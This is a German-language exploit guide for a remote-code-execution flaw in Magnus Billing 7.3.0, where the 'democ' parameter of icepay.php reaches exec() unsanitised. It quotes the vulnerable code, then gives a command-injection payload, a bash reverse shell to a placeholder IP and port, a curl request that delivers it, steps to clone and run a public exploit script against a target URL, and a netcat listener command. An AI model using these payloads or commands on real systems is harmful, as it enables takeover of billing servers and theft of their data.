
RCE-Sicherheitslücke in der Magnus-Billing-PHP-Ressource
In magnus billing 7.3.0 gibt es eine Schwachstelle für Remote-Codeausführung im Parameter "democ" der Ressource "icepay.php", bei der Sie die Abfrage verlassen und den gewünschten Befehl ausführen können.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
Der Parameter "democ" wird an exec() übergeben, um eine neue Datei zu erstellen, aber wie Sie sehen können, gibt es keinerlei Eingabebereinigung. Der Angreifer kann leicht aus dem touch-Befehl ausbrechen und einen Befehl ausführen oder sogar eine Reverse-Shell erhalten. Um die txt-Erweiterung zu umgehen, können wir einfach ein weiteres ";" am Ende der Zeichenkette hinzufügen. Das endgültige Payload würde wie folgt aussehen:
testfile;<command>;testfile
und so würde es aussehen, wenn es an die exec()-Funktion übergeben wird:
exec('touch testfile;<command>;testfile.txt');
z. B. Reverse-Shell:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')
Wir könnten curl verwenden, um uns eine Reverse-Shell zu holen, z. B.
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile
Oder wenn Sie es vorziehen, können Sie das Python-Skript aus diesem Repository verwenden. Installation:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # get the repository
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # change directory
chmod +x ./magnusbilling_rce.py # add execution permissions to the python script
Verwendung:
./magnusbilling_rce.py -h # show help
./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/
Und nicht zuletzt: Denken Sie daran, einen Listener mit netcat zu starten:
nc -nlvvp <local_port>